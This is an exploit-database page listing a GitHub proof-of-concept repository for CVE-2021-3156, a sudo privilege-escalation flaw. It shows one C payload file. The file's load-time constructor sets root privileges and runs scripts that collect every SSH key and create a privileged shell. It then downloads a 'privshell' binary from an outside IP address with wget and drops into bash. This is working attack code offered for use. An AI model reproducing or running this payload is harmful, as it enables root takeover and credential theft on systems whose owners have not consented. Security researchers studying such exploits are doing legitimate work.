Exploit database

GH-ef4df0162fefa03c7f836a0011e0c93c

purpleozone/pe_cve-cve-2021-3156

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3156

85 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
purpleozone/pe_cve-cve-2021-3156Revision 0fd3afbc496b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

shell_tool.c

C · 530 bytes
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

__attribute((constructor))
static void sice() {
    setuid(0);
    system("id");
    system("ls");
    system("pwd");
    system("chmod +x get_all_ssh_keys.sh");
    system("./get_all_ssh_keys.sh");
    system("chmod +x create_privshell.sh");
    system("./create_privshell.sh");//You might get an error on this one, maybe because of the shell, check ReadMr to find and alternative
    system("wget http://192.168.100.168/privshell");
    system("bash");
    exit(0);
}